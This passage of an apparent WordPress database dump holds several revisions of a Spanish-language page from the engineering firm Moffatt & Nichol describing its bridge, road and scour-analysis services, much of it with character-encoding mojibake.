construcciÃ³n para la rehabilitaciÃ³n, modificaciÃ³n o nueva construcciÃ³n de puentes, caballetes para puentes y pasos a desnivel.  Moffatt & Nichol ha planeado o diseÃ±ado mÃ¡s de 500 puentes, que comprenden desde una de las autopistas mÃ¡s largas del mundo o intercambios de autopistas como El Toro â€œYâ€ en Irvine, California, hasta el proyecto de reemplazo del puente de la bahÃa Oakland de $5.500 millones.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n  <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/sour.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h3 id=\"2\">anÃ¡lisis de socavaciÃ³n</h3> Moffatt & Nichol tiene experiencia profesional interna especializada en dinÃ¡mica fluvial y de mareas, transporte de sedimentos/anÃ¡lisis de socavaciÃ³n, ingenierÃa costera e hidrologÃa e hidrÃ¡ulica.  Aplicando esta experiencia profesional junto con nuestra capacidad de modelaciÃ³n numÃ©rica de 1-D, 2-D y 3-D, podemos evaluar el potencial de socavaciÃ³n para puentes en diversas condiciones de ubicaciÃ³n. Hemos realizado la clasificaciÃ³n de la socavaciÃ³n de mÃ¡s de 1.000 puentes usando procedimientos FHWA, realizado anÃ¡lisis de socavaciÃ³n de mÃ¡s de 50 puentes y desarrollado contramedidas de diseÃ±o para muchos puentes con socavaciÃ³n crÃtica. En el puente de la bahÃa de Oakland, San Francisco, Moffatt & Nichol realizÃ³ recientemente la modelaciÃ³n numÃ©rica hidrodinÃ¡mica y la prueba del modelo fÃsico para pronosticar la posible socavaciÃ³n. El nivel de socavaciÃ³n fue sustancialmente menor que el pronosticado usando una fÃ³rmula empÃrica.\n \nAdemÃ¡s, Moffatt & Nichol es un lÃder internacional reconocido en el anÃ¡lisis y diseÃ±o de la prevenciÃ³n de colisiÃ³n de naves y de sistemas de protecciÃ³n.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n  </div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','servicios de caminos y puentes','','inherit','open','open','','640-revision','','','2011-11-14 04:32:49','2011-11-14 04:32:49','',640,'http://moffattnichol.com/spanish/640-revision/',0,'revision','',0),(2484,1,'2012-06-15 06:26:41','2012-06-15 06:26:41','<div class=\"content_faq\">\r\n[vslider name=\"bridges\"]\r\n  <h1>puentes</h1>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\" style=\"width:247px; height:186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n  <h3 id=\"3\">capacidades y experiencia profesional</h3> Hasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n <ul>\r\n      <li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n      <li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n      <li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n    </ul>\r\n<div class=\"clear\"></div>\r\n    </div>\r\n    <div class=\"press-release-para\">\r\n Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt & Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas. &nbsp;\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n    <div class=\"bridges-left\">\r\n      <div class=\"divider-line\">Tipos de proyecto</div>\r\n      <p> Proyectos DiseÃ±o-LicitaciÃ³n-ConstrucciÃ³n, P3 y DiseÃ±o-ConstrucciÃ³n<br />\r\n        RehabilitaciÃ³n de puentes<br />\r\n        Ensanchamiento y reemplazo de puentes<br />\r\n        Instalaciones para nuevos puentes y carreteras<br />\r\n        Puentes en caminos locales<br />\r\n        Pasos elevados de autopistas<br />\r\n        Pasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel<br />\r\n        Carriles guÃa de tren ligero y estaciones elevadas<br />\r\n        Estructuras de muelles y frentes costeros<br />\r\n        Puentes para peatones y bicicletas<br />\r\n        Puentes en concreto, acero y madera<br />\r\n        Puentes sobre Ã¡reas medioambientalmente sensibles<br />\r\n      </p>\r\n      <div class=\"divider-line\">ConstrucciÃ³n</div>\r\n      <p> Etapas de la construcciÃ³n y mantenimiento del trÃ¡fico<br />\r\n        Estudios de la factibilidad de construcciÃ³n e IngenierÃa del valor<br />\r\n        IngenierÃa y apoyo de la construcciÃ³n<br />\r\n        AnÃ¡lisis de la construcciÃ³n en funciÃ³n del tiempo<br />\r\n        InspecciÃ³n de la construcciÃ³n<br />\r\n        Planos segÃºn construcciÃ³n y conciliaciÃ³n<br />\r\n        RepresentaciÃ³n del diseÃ±ador-constructor y del propietario<br />\r\n      </p>\r\n    </div>\r\n    <div class=\"bridges-right\">\r\n      <div class=\"divider-line\">Planeamiento</div>\r\n      <p>Estudios de factibilidad y planeamiento<br />\r\n        DiseÃ±o conceptual<br />\r\n        Estimados de costos<br />\r\n        SelecciÃ³n del tipo de estructura<br />\r\n        Estudios y documentaciÃ³n medioambientales<br />\r\n      </p>\r\n      <div class=\"divider-line\">DiseÃ±o</div>\r\n      <p> DiseÃ±o preliminar y final<br />\r\n        Planos, especificaciones y estimados<br />\r\n        DiseÃ±o antisÃsmico y modificaciÃ³n<br />\r\n        Estudios hidrÃ¡ulicos y de socavaciÃ³n<br />\r\n        Estudios de colisiÃ³n de buques<br />\r\n        Estudios de carga de hielo<br />\r\n        DiseÃ±o de cimentaciÃ³n profunda<br />\r\n        SocavaciÃ³n de puentes<br />\r\n        AnÃ¡lisis de la marejada ciclÃ³nica<br />\r\n      </p>\r\n      <div class=\"divider-line\">InspecciÃ³n y rehabilitaciÃ³n de puentes</div>\r\n      <p> InspecciÃ³n por encima/debajo del nivel del agua con certificaciÃ³n NBIS<br />\r\n        Muestreo y prueba de materiales<br />\r\n        ModelaciÃ³n de la vida de servicio (Estructuras de concreto)<br />\r\n        Servicios de diseÃ±o de reparaciÃ³n/rehabilitaciÃ³n<br />\r\n        Servicios de la fase de construcciÃ³n<br />\r\n      </p>\r\n      <div class=\"divider-line\">Otros servicios</div>\r\n      <p> EstÃ©tica de puentes y Soluciones sensibles al contexto<br />\r\n        Capacidad de carga de puentes<br />\r\n        AnÃ¡lisis avanzado de elementos finitos<br />\r\n        CoordinaciÃ³n y reubicaciÃ³n de equipos de servicios pÃºblicos<br />\r\n        DiseÃ±o de calzadas y accesos<br />\r\n      </p>\r\n    </div>\r\n    <br />\r\n    &nbsp; &nbsp; &nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n      </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/Bolsa.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h3 id=\"1\">caminos y puentes</h3> Moffatt & Nichol ofrece una gama completa de servicios de planeamiento, diseÃ±o, obtenciÃ³n de fondos y gestiÃ³n para proyectos de puentes y carreteras.\r\n  \r\nMoffatt & Nichol ofrece su especial experiencia profesional en los aspectos econÃ³micos y financieros, gestiÃ³n de programas, anÃ¡lisis sÃsmico, cimentaciones marÃtimas profundas, sistemas intermodales, impacto de buques y anÃ¡lisis de socavaciÃ³n del proyecto. Estos servicios especializados nos permiten proporcionar a nuestros clientes un alto nivel de servicios de valor agregado para toda la gama del desarrollo de proyectos, desde el planeamiento hasta el diseÃ±o y la construcciÃ³n. \r\n \r\nAdemÃ¡s del diseÃ±o convencional de carreteras, nuestras capacidades estructurales incluyen la inspecciÃ³n, planeamiento, anÃ¡lisis, diseÃ±o y preparaciÃ³n de la documentaciÃ³n de la construcciÃ³n para la rehabilitaciÃ³n, modificaciÃ³n o nueva construcciÃ³n de puentes, caballetes para puentes y pasos a desnivel.  Moffatt & Nichol ha planeado o diseÃ±ado mÃ¡s de 500 puentes, que comprenden desde una de las autopistas mÃ¡s largas del mundo o intercambios de autopistas como El Toro â€œYâ€ en Irvine, California, hasta el proyecto de reemplazo del puente de la bahÃa Oakland de $5.500 millones.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/sour.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h3 id=\"2\">anÃ¡lisis de socavaciÃ³n</h3> Moffatt & Nichol tiene experiencia profesional interna especializada en dinÃ¡mica fluvial y de mareas, transporte de sedimentos/anÃ¡lisis de socavaciÃ³n, ingenierÃa costera e hidrologÃa e hidrÃ¡ulica.  Aplicando esta experiencia profesional junto con nuestra capacidad de modelaciÃ³n numÃ©rica de 1-D, 2-D y 3-D, podemos evaluar el potencial de socavaciÃ³n para puentes en diversas condiciones de ubicaciÃ³n. Hemos realizado la clasificaciÃ³n de la socavaciÃ³n de mÃ¡s de 1.000 puentes usando procedimientos FHWA, realizado anÃ¡lisis de socavaciÃ³n de mÃ¡s de 50 puentes y desarrollado contramedidas de diseÃ±o para muchos puentes con socavaciÃ³n crÃtica. En el puente de la bahÃa de Oakland, San Francisco, Moffatt & Nichol realizÃ³ recientemente la modelaciÃ³n numÃ©rica hidrodinÃ¡mica y la prueba del modelo fÃsico para pronosticar la posible socavaciÃ³n. El nivel de socavaciÃ³n fue sustancialmente menor que el pronosticado usando una fÃ³rmula empÃrica.\r\n \r\nAdemÃ¡s, Moffatt & Nichol es un lÃder internacional reconocido en el anÃ¡lisis y diseÃ±o de la prevenciÃ³n de colisiÃ³n de naves y de sistemas de protecciÃ³n.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','servicios de caminos y puentes','','inherit','open','open','','640-revision-2','','','2012-06-15 06:26:41','2012-06-15 06:26:41','',640,'http://moffattnichol.com/spanish/640-revision-2/',0,'revision','',0),(2485,1,'2012-06-15 06:43:11','2012-06-15 06:43:11','<div class=\"content_faq\">\r\n   <h1 id=\"1\">capacidades y experiencia profesional</h1>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\" style=\"width:247px; height:186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n\r\nHasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n <ul>\r\n      <li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n      <li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n      <li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n    </ul>\r\n<div class=\"clear\"></div>\r\n    </div>\r\n    <div class=\"press-release-para\">\r\n Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt & Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas. &nbsp;\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n    <div class=\"bridges-left\">\r\n      <div class=\"divider-line\">Tipos de proyecto</div>\r\n      <p> Proyectos Diseño-Licitación-Construcción, P3 y Diseño-Construcción<br />\r\n        Rehabilitación de puentes<br />\r\n        Ensanchamiento y reemplazo de puentes<br />\r\n        Instalaciones para nuevos puentes y carreteras<br />\r\n        Puentes en caminos locales<br />\r\n        Pasos elevados de autopistas<br />\r\n        Pasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel<br />\r\n        Carriles guía de tren ligero y estaciones elevadas<br />\r\n        Estructuras de muelles y frentes costeros<br />\r\n        Puentes para peatones y bicicletas<br />\r\n        Puentes en concreto, acero y madera<br />\r\n        Puentes sobre áreas medioambientalmente sensibles<br />\r\n      </p>\r\n      <div class=\"divider-line\">Construcción</div>\r\n      <p> Etapas de la construcción y mantenimiento del tráfico<br />\r\n        Estudios de la factibilidad de construcción e Ingeniería del valor<br />\r\n        Ingeniería y apoyo de la construcción<br />\r\n        Análisis de la construcción en función del tiempo<br />\r\n        Inspección de la construcción<br />\r\n        Planos según construcción y conciliación<br />\r\n        Representación del diseñador-constructor y del propietario<br />\r\n      </p>\r\n    </div>\r\n    <div class=\"bridges-right\">\r\n      <div class=\"divider-line\">Planeamiento</div>\r\n       <p>Estudios de factibilidad y planeamiento<br />\r\n        Diseño conceptual<br />\r\n        Estimados de costos<br />\r\n        Selección del tipo de estructura<br />\r\n        Estudios y documentación medioambientales<br />\r\n      </p>\r\n      <div class=\"divider-line\">Diseño</div>\r\n      <p> Diseño preliminar y final<br />\r\n        Planos, especificaciones y estimados<br />\r\n        Diseño antisísmico y modificación<br />\r\n        Estudios hidráulicos y de socavación<br />\r\n        Estudios de colisión de buques<br />\r\n        Estudios de carga de hielo<br />\r\n        Diseño de cimentación profunda<br />\r\n        Socavación de puentes<br />\r\n        Análisis de la marejada ciclónica<br />\r\n      </p>\r\n      <div class=\"divider-line\">Inspección y rehabilitación de puentes</div>\r\n      <p> Inspección por encima/debajo del nivel del agua con certificación NBIS<br />\r\n        Muestreo y prueba de materiales<br />\r\n        Modelación de la vida de servicio (Estructuras de concreto)<br />\r\n        Servicios de diseño de reparación/rehabilitación<br />\r\n        Servicios de la fase de construcción<br />\r\n      </p>\r\n      <div class=\"divider-line\">Otros servicios</div>\r\n      <p> Estética de puentes y Soluciones sensibles al contexto<br />\r\n        Capacidad de carga de puentes<br />\r\n        Análisis avanzado de elementos finitos<br />\r\n        Coordinación y reubicación de equipos de servicios públicos<br />\r\n        Diseño de calzadas y accesos<br />\r\n      </p>\r\n    </div>\r\n    <br />\r\n    &nbsp; &nbsp; &nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n      </div>\r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Capacidades y experiencia profesional-Puentes','','inherit','open','open','','1674-autosave','','','2012-06-15 06:43:11','2012-06-15 06:43:11','',1674,'http://moffattnichol.com/spanish/1674-autosave/',0,'revision','',0),(2486,1,'2012-01-10 18:08:29','2012-01-10 12:38:29','<div class=\"content_faq\">\n  <h1 id=\"1\">capacidades y experiencia profesional</h1>\n  <div class=\"global-services_one\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\" style=\"width:247px; height:186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n\nHasta la fecha, hemos proporcionado dichos servicios para mÃ¡s de 500 puentes, incluyendo proyectos extraordinarios tales como:\n <ul>\n      <li>Reemplazo del tramo este, Puente de la BahÃa de San Francisco â€“ Oakland, California - en construcciÃ³n</li>\n      <li>Corredor de transporte Alameda, sur de California â€“ una vÃa rÃ¡pida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\n      <li>El Toro â€œYâ€, sur de California, California â€“ uno de los intercambios de autopistas mÃ¡s grandes del mundo</li>\n    </ul>\n<div class=\"clear\"></div>\n    </div>\n    <div class=\"press-release-para\">\n AdemÃ¡s de los servicios de ingenierÃa estructural generalmente asociados con el diseÃ±o de puentes, Moffatt & Nichol tambiÃ©n ofrece su amplia y minuciosa experiencia con el anÃ¡lisis de elementos finitos para cargas de terremotos y con bases mÃ¡s allÃ¡ del diseÃ±o para dichas estructuras, que se utiliza tanto en el diseÃ±o de estructuras crÃticamente importantes nuevas y modificadas. &nbsp;\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\n    <div class=\"bridges-left\">\n      <div class=\"divider-line\">Tipos de proyecto</div>\n      <p> Proyectos DiseÃ±o-LicitaciÃ³n-ConstrucciÃ³n, P3 y DiseÃ±o-ConstrucciÃ³n<br />\n        RehabilitaciÃ³n de puentes<br />\n        Ensanchamiento y reemplazo de puentes<br />\n        Instalaciones para nuevos puentes y carreteras<br />\n        Puentes en caminos locales<br />\n        Pasos elevados de autopistas<br />\n        Pasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel<br />\n        Carriles guÃa de tren ligero y estaciones elevadas<br />\n        Estructuras de muelles y frentes costeros<br />\n        Puentes para peatones y bicicletas<br />\n        Puentes en concreto, acero y madera<br />\n        Puentes sobre Ã¡reas medioambientalmente sensibles<br />\n      </p>\n      <div class=\"divider-line\">ConstrucciÃ³n</div>\n      <p> Etapas de la construcciÃ³n y mantenimiento del trÃ¡fico<br />\n        Estudios de la factibilidad de construcciÃ³n e IngenierÃa del valor<br />\n        IngenierÃa y apoyo de la construcciÃ³n<br />\n        AnÃ¡lisis de la construcciÃ³n en funciÃ³n del tiempo<br />\n        InspecciÃ³n de la construcciÃ³n<br />\n        Planos segÃºn construcciÃ³n y conciliaciÃ³n<br />\n        RepresentaciÃ³n del diseÃ±ador-constructor y del propietario<br />\n      </p>\n    </div>\n    <div class=\"bridges-right\">\n      <div class=\"divider-line\">Planeamiento</div>\n      <p>Estudios de factibilidad y planeamiento<br />\n        DiseÃ±o conceptual<br />\n        Estimados de costos<br />\n        SelecciÃ³n del tipo de estructura<br />\n        Estudios y documentaciÃ³n medioambientales<br />\n      </p>\n      <div class=\"divider-line\">DiseÃ±o</div>\n      <p> DiseÃ±o preliminar y final<br />\n        Planos, especificaciones y estimados<br />\n        DiseÃ±o antisÃsmico y modificaciÃ³n<br />\n        Estudios hidrÃ¡ulicos y de socavaciÃ³n<br />\n        Estudios de colisiÃ³n de buques<br />\n        Estudios de carga de hielo<br />\n        DiseÃ±o de cimentaciÃ³n profunda<br />\n        SocavaciÃ³n de puentes<br />\n        AnÃ¡lisis de la marejada ciclÃ³nica<br />\n      </p>\n      <div class=\"divider-line\">InspecciÃ³n y rehabilitaciÃ³n de puentes</div>\n      <p> InspecciÃ³n por encima/debajo del nivel del agua con certificaciÃ³n NBIS<br />\n        Muestreo y prueba de materiales<br />\n        ModelaciÃ³n de la vida de servicio (Estructuras de concreto)<br />\n        Servicios de diseÃ±o de reparaciÃ³n/rehabilitaciÃ³n<br />\n        Servicios de la fase de construcciÃ³n<br />\n      </p>\n      <div class=\"divider-line\">Otros servicios</div>\n      <p> EstÃ©tica de puentes y Soluciones sensibles al contexto<br />\n        Capacidad de carga de puentes<br />\n        AnÃ¡lisis avanzado de elementos finitos<br />\n        CoordinaciÃ³n y reubicaciÃ³n de equipos de servicios pÃºblicos<br />\n        DiseÃ±o de calzadas y accesos<br />\n      </p>\n    </div>\n    <br />\n    &nbsp; &nbsp; &nbsp;\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n      </div>\n  </div>\n  </div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Capacidades y experiencia profesional-Puentes','','inherit','open','open','','1674-revision','','','2012-01-10 18:08:29','2012-01-10 12:38:29','',1674,'http://moffattnichol.com/spanish/1674-revision/',0,'revision','',0),(2487,1,'2012-06-15 06:37:49','2012-06-15 06:37:49','<div class=\"content_faq\">\r\n   <h1 id=\"1\">capacidades y experiencia profesional</h1>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\" style=\"width:247px; height:186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n\r\nHasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n <ul>\r\n      <li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n      <li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n      <li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n    </ul>\r\n<div class=\"clear\"></div>\r\n    </div>\r\n    <div class=\"press-release-para\">\r\n AdemÃ¡s de los servicios de ingenierÃa estructural generalmente asociados con el diseÃ±o de puentes, Moffatt & Nichol tambiÃ©n ofrece su amplia y minuciosa experiencia con el anÃ¡lisis de elementos finitos para cargas de terremotos y con bases mÃ¡s allÃ¡ del diseÃ±o para dichas estructuras, que se utiliza tanto en el diseÃ±o de estructuras crÃticamente importantes nuevas y modificadas. &nbsp;\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n    <div class=\"bridges-left\">\r\n      <div class=\"divider-line\">Tipos de proyecto</div>\r\n      <p> Proyectos DiseÃ±o-LicitaciÃ³n-ConstrucciÃ³n, P3 y DiseÃ±o-ConstrucciÃ³n<br />\r\n        RehabilitaciÃ³n de puentes<br />\r\n        Ensanchamiento y reemplazo de puentes<br />\r\n        Instalaciones para nuevos puentes y carreteras<br />\r\n        Puentes en caminos locales<br />\r\n        Pasos elevados de autopistas<br />\r\n        Pasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel<br />\r\n        Carriles guÃa de tren ligero y estaciones elevadas<br />\r\n        Estructuras de muelles y frentes costeros<br />\r\n        Puentes para peatones y bicicletas<br />\r\n        Puentes en concreto, acero y madera<br />\r\n        Puentes sobre Ã¡reas medioambientalmente sensibles<br />\r\n      </p>\r\n      <div class=\"divider-line\">ConstrucciÃ³n</div>\r\n      <p> Etapas de la construcciÃ³n y mantenimiento del trÃ¡fico<br />\r\n        Estudios de la factibilidad de construcciÃ³n e IngenierÃa del valor<br />\r\n        IngenierÃa y apoyo de la construcciÃ³n<br />\r\n        AnÃ¡lisis de la construcciÃ³n en funciÃ³n del tiempo<br />\r\n        InspecciÃ³n de la construcciÃ³n<br />\r\n        Planos segÃºn construcciÃ³n y conciliaciÃ³n<br />\r\n        RepresentaciÃ³n del diseÃ±ador-constructor y del propietario<br />\r\n      </p>\r\n    </div>\r\n    <div class=\"bridges-right\">\r\n      <div class=\"divider-line\">Planeamiento</div>\r\n      <p>Estudios de factibilidad y planeamiento<br />\r\n        DiseÃ±o conceptual<br />\r\n        Estimados de costos<br />\r\n        SelecciÃ³n del tipo de estructura<br />\r\n        Estudios y documentaciÃ³n medioambientales<br />\r\n      </p>\r\n      <div class=\"divider-line\">DiseÃ±o</div>\r\n      <p> DiseÃ±o preliminar y final<br />\r\n        Planos, especificaciones y estimados<br />\r\n        DiseÃ±o antisÃsmico y modificaciÃ³n<br />\r\n        Estudios hidrÃ¡ulicos y de socavaciÃ³n<br />\r\n        Estudios de colisiÃ³n de buques<br />\r\n        Estudios de carga de hielo<br />\r\n        DiseÃ±o de cimentaciÃ³n profunda<br />\r\n        SocavaciÃ³n de puentes<br />\r\n        AnÃ¡lisis de la marejada ciclÃ³nica<br />\r\n      </p>\r\n      <div class=\"divider-line\">InspecciÃ³n y rehabilitaciÃ³n de puentes</div>\r\n      <p> InspecciÃ³n por encima/debajo del nivel del agua con certificaciÃ³n NBIS<br />\r\n        Muestreo y prueba de materiales<br />\r\n        ModelaciÃ³n de la vida de servicio (Estructuras de concreto)<br />\r\n        Servicios de diseÃ±o de reparaciÃ³n/rehabilitaciÃ³n<br />\r\n        Servicios de la fase de construcciÃ³n<br />\r\n      </p>\r\n      <div class=\"divider-line\">Otros servicios</div>\r\n      <p> EstÃ©tica de puentes y Soluciones sensibles al contexto<br />\r\n        Capacidad de carga de puentes<br />\r\n        AnÃ¡lisis avanzado de elementos finitos<br />\r\n        CoordinaciÃ³n y reubicaciÃ³n de equipos de servicios pÃºblicos<br />\r\n        DiseÃ±o de calzadas y accesos<br />\r\n      </p>\r\n    </div>\r\n    <br />\r\n    &nbsp; &nbsp; &nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n      </div>\r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Capacidades y experiencia profesional-Puentes','','inherit','open','open','','1674-revision-2','','','2012-06-15 06:37:49','2012-06-15 06:37:49','',1674,'http://moffattnichol.com/spanish/1674-revision-2/',0,'revision','',0),(2488,1,'2012-06-15 06:39:28','2012-06-15 06:39:28','<div class=\"content_faq\">\r\n   <h1 id=\"1\">capacidades y experiencia profesional</h1>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\" style=\"width:247px; height:186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n\r\nHasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n <ul>\r\n      <li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n      <li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n      <li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n    </ul>\r\n<div class=\"clear\"></div>\r\n    </div>\r\n    <div class=\"press-release-para\">\r\n Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt & Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas. &nbsp;\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n    <div class=\"bridges-left\">\r\n      <div class=\"divider-line\">Tipos de proyecto</div>\r\n      <p> Proyectos DiseÃ±o-LicitaciÃ³n-ConstrucciÃ³n, P3 y DiseÃ±o-ConstrucciÃ³n<br />\r\n        RehabilitaciÃ³n de puentes<br />\r\n        Ensanchamiento y reemplazo de puentes<br />\r\n        Instalaciones para nuevos puentes y carreteras<br />\r\n        Puentes en caminos locales<br />\r\n        Pasos elevados de autopistas<br />\r\n        Pasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel<br />\r\n        Carriles guÃa de tren ligero y estaciones elevadas<br />\r\n        Estructuras de muelles y frentes costeros<br />\r\n        Puentes para peatones y bicicletas<br />\r\n        Puentes en concreto, acero y madera<br />\r\n        Puentes sobre Ã¡reas medioambientalmente sensibles<br />\r\n      </p>\r\n      <div class=\"divider-line\">ConstrucciÃ³n</div>\r\n      <p> Etapas de la construcciÃ³n y mantenimiento del trÃ¡fico<br />\r\n        Estudios de la factibilidad de construcciÃ³n e IngenierÃa del valor<br />\r\n        IngenierÃa y apoyo de la construcciÃ³n<br />\r\n        AnÃ¡lisis de la construcciÃ³n en funciÃ³n del tiempo<br />\r\n        InspecciÃ³n de la construcciÃ³n<br />\r\n        Planos segÃºn construcciÃ³n y conciliaciÃ³n<br />\r\n        RepresentaciÃ³n del diseÃ±ador-constructor y del propietario<br />\r\n      </p>\r\n    </div>\r\n    <div class=\"bridges-right\">\r\n      <div class=\"divider-line\">Planeamiento</div>\r\n      <p>Estudios de factibilidad y planeamiento<br />\r\n        DiseÃ±o conceptual<br />\r\n        Estimados de costos<br />\r\n        SelecciÃ³n del tipo de estructura<br />\r\n        Estudios y documentaciÃ³n medioambientales<br />\r\n      </p>\r\n      <div class=\"divider-line\">DiseÃ±o</div>\r\n      <p> DiseÃ±o preliminar y final<br />\r\n        Planos, especificaciones y estimados<br />\r\n        DiseÃ±o antisÃsmico y modificaciÃ³n<br />\r\n        Estudios hidrÃ¡ulicos y de socavaciÃ³n<br />\r\n        Estudios de colisiÃ³n de buques<br />\r\n        Estudios de carga de hielo<br />\r\n        DiseÃ±o de cimentaciÃ³n profunda<br />\r\n        SocavaciÃ³n de puentes<br />\r\n        AnÃ¡lisis de la marejada ciclÃ³nica<br />\r\n      </p>\r\n      <div class=\"divider-line\">InspecciÃ³n y rehabilitaciÃ³n de puentes</div>\r\n      <p> InspecciÃ³n por encima/debajo del nivel del agua con certificaciÃ³n NBIS<br />\r\n        Muestreo y prueba de materiales<br />\r\n        ModelaciÃ³n de la vida de servicio (Estructuras de concreto)<br />\r\n        Servicios de diseÃ±o de 